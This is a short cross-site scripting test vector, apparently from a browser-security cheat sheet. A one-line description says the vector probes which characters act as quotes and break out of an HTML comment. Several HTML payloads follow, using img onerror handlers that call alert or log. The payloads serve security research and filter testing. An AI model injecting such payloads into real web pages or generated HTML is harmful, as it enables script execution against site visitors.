2
2
2
2This vector shows which characters act like quotes by nullifying a HTML comment.
<div a=$[chr]><!-- $[chr]></div><img src=x:x onerror=log($[i]) --><div a="><!-- "></div><img src=x:x onerror=alert(34) --><div a='><!-- '></div><img src=x:x onerror=alert(39) -->